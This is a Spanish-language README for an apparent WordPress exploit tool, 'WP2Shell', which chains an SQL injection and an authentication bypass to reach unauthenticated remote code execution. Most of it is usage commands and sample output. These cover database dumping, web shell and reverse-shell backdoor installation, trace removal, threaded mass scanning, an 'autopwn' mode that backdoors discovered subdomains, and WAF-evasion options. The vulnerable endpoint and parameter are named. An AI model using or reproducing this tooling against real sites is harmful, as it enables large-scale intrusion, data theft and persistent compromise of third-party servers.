Marco de explotación modular para WordPress pre-autenticación que encadena inyección SQL y bypass de autenticación para lograr ejecución remota de código, shells interactivas, backdoors y escaneo masivo de vulnerabilidades.
# WP2Shell - Exploit de RCE Pre-Auth de WordPress
**CVE-2026-63030 + CVE-2026-60137**
**Versión:** 4.0.0
**Autor:** G0D150NE
## 📌 Descripción general
WP2Shell es una herramienta de explotación de cadena completa para la ejecución remota de código pre-autenticación en WordPress. Combina dos vulnerabilidades críticas:
- **CVE-2026-63030** - Inyección SQL en el endpoint Batch de la API REST
- **CVE-2026-60137** - Omisión de autenticación mediante envenenamiento de caché oEmbed
Esta herramienta permite comprometer por completo instalaciones vulnerables de WordPress **sin ninguna autenticación**, desde la detección hasta la RCE completa y la persistencia.
## ⚡ Características
- 🔍 **Comprobación no destructiva** - Confirmación segura de vulnerabilidad
- 📊 **Extracción multitécnica** - UNION, basada en errores, SQLi ciega
- 🚀 **Cadena RCE completa** - De la SQLi a la creación de una cuenta de administrador
- 🐚 **Despliegue de webshell** - Puerta trasera oculta basada en plugin
- 🧹 **Capacidad de limpieza** - Elimina todos los rastros
- 📡 **Escaneo masivo** - Escáner con hilos para múltiples objetivos
- 🤖 **Modo autopwn** - Descubrimiento de subdominios + explotación automática
- 🌐 **Rotación de proxies** - Soporte para proxies rotativos
- 🕵️ **Modo sigiloso** - Retardos aleatorios y técnicas de evasión de WAF
## 🔧 Instalación
```bash
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
```
## 🎯 Uso
### Estructura de comandos
```bash
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
```
### Comandos disponibles
| Comando | Descripción |
|---------|-------------|
| `check` | Confirmación no destructiva de vulnerabilidad |
| `read` | Extrae datos mediante inyección SQL |
| `exploit` | Cadena RCE completa pre-autenticación |
| `shell` | Despliega webshell con credenciales existentes |
| `masscan` | Escaneo masivo de múltiples objetivos |
| `autopwn` | Descubrimiento automático → escaneo → explotación |
## 🚀 Ejemplos
### 1. Comprobación de vulnerabilidad
```bash
python3 wp2shell.py check https://target.com
```
```bash
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
```
### 2. Extracción de datos
**Huella básica:**
```bash
python3 wp2shell.py read https://target.com
```
**Extraer usuarios:**
```bash
python3 wp2shell.py read https://target.com --preset users
```
**Consulta personalizada:**
```bash
python3 wp2shell.py read https://target.com --query "SELECT @@version"
```
**Volcar toda la base de datos:**
```bash
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
```
### 3. Explotación completa
**Explotación básica:**
```bash
python3 wp2shell.py exploit https://target.com
```
**Explotación con shell interactivo:**
```bash
python3 wp2shell.py exploit https://target.com --interactive
```
**Explotación con instalación de puerta trasera:**
```bash
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
```
**Explotación con volcado de base de datos:**
```bash
python3 wp2shell.py exploit https://target.com --dumpdb
```
**Explotación con limpieza (eliminar rastros):**
```bash
python3 wp2shell.py exploit https://target.com --cleanup
```
### 4. Uso de credenciales de administrador existentes
```bash
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
```
```bash
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
```
### 5. Escaneo masivo
```bash
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
```
### 6. Modo Autopwn (automatización completa)
```bash
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
```
Esto hará lo siguiente:
1. Descubrir subdominios mediante crt.sh
2. Identificar instalaciones de WordPress
3. Explotar todos los sitios vulnerables
4. Instalar puertas traseras en los objetivos con éxito
## 🎮 Shell interactivo
Tras la explotación, obtienes un shell interactivo completo:
```bash
python3 wp2shell.py exploit https://target.com -i
```
```
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
```
## 🛡️ Referencia de opciones
### Opciones comunes
| Opción | Descripción |
|--------|-------------|
| `--timeout` | Tiempo de espera HTTP en segundos (predeterminado: 30) |
| `--proxies` | Lista de proxies separada por comas (p. ej., http://127.0.0.1:8080) |
| `--stealth` | Habilita el modo sigiloso con retardos aleatorios |
| `-v, --verbose` | Habilita la salida de depuración |
| `-q, --quiet` | Suprime el banner y los mensajes informativos |
### Opciones del comando read
| Opción | Descripción |
|--------|-------------|
| `--prefix` | Prefijo de tabla (predeterminado: wp_) |
| `--auto-prefix` | Descubre automáticamente el prefijo de tabla |
| `--max-length` | Máximo de caracteres por valor (predeterminado: 128) |
| `--technique` | Técnica de extracción: auto/union/error/blind |
| `--preset` | Preajuste de datos: fingerprint/users/dumpall |
| `--query` | Expresión SQL arbitraria para extraer |
### Opciones del comando exploit
| Opción | Descripción |
|--------|-------------|
| `--prefix` | Prefijo de tabla (predeterminado: wp_) |
| `--no-discover` | Omite el descubrimiento automático, usa los valores predeterminados |
| `-i, --interactive` | Accede a un shell tras la explotación |
| `-c, --command` | Ejecuta un único comando tras la explotación |
| `--backdoor` | Instala una puerta trasera de persistencia |
| `--lhost` | LHOST para el shell inverso (predeterminado: 10.0.0.1) |
| `--lport` | LPORT para el shell inverso (predeterminado: 4444) |
| `--dumpdb` | Vuelca la base de datos tras la explotación |
| `--cleanup` | Elimina el usuario creado y la webshell al salir |
## 🔬 Detalles técnicos
### Cadena de vulnerabilidades
1. **Inyección SQL** (CVE-2026-63030)
- Ocurre en el endpoint `/wp-json/batch/v1`
- El parámetro `author_exclude` es vulnerable a SQLi ciega basada en tiempo
- Permite extracción basada en UNION y en errores
2. **Omisión de autenticación** (CVE-2026-60137)
- Envenenamiento de caché oEmbed mediante el parámetro `/_embed`
- Permite crear usuarios administradores mediante el changeset del personalizador
- Activa la cadena de reentrada para la creación de cuentas privilegiadas
### Versiones de WordPress compatibles
| Versión | Estado |
|---------|--------|
| 6.9.0 | ✅ Vulnerable |
| 6.9.1 | ✅ Vulnerable |
| 6.9.2 | ✅ Vulnerable |
| 6.9.3 | ✅ Vulnerable |
| 6.9.4 | ✅ Vulnerable |
| 7.0.0 | ✅ Vulnerable |
| 7.0.1 | ✅ Vulnerable |
| ≥ 7.0.2 | ❌ Parcheada |
### Técnicas de extracción
| Técnica | Velocidad | Tamaño de datos | Requisitos |
|-----------|-------|-----------|--------------|
| **UNION** | ⚡ Muy rápida | Ilimitado | El objetivo no debe filtrar UNION |
| **Error** | 🚀 Rápida | ~30 caracteres/solicitud | El objetivo debe exponer mensajes de error |
| **Blind** | 🐢 Lenta | Ilimitado | Oráculo booleano disponible |
## 📊 Ejemplos de salida
### Explotación exitosa
```
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
```
## ⚠️ Descargo de responsabilidad
Esta herramienta es solo para **pruebas de seguridad autorizadas y fines educativos**. El uso contra sistemas sin permiso explícito es ilegal. Los autores no asumen ninguna responsabilidad por el mal uso.
## 📚 Referencias
- [CVE-2026-63030](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63030)
- [CVE-2026-60137](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60137)
- Aviso de seguridad de WordPress
- Blog técnico de WP2Shell
## 🤝 Contribuciones
¿Encontraste un error? ¿Quieres mejorar la herramienta? ¡Las pull requests son bienvenidas!
1. Haz un fork del repositorio
2. Crea tu rama de características
3. Haz commit de tus cambios
4. Haz push a la rama
5. Abre una Pull Request
## 📄 Licencia
Licencia MIT: consulta el archivo LICENSE para más detalles.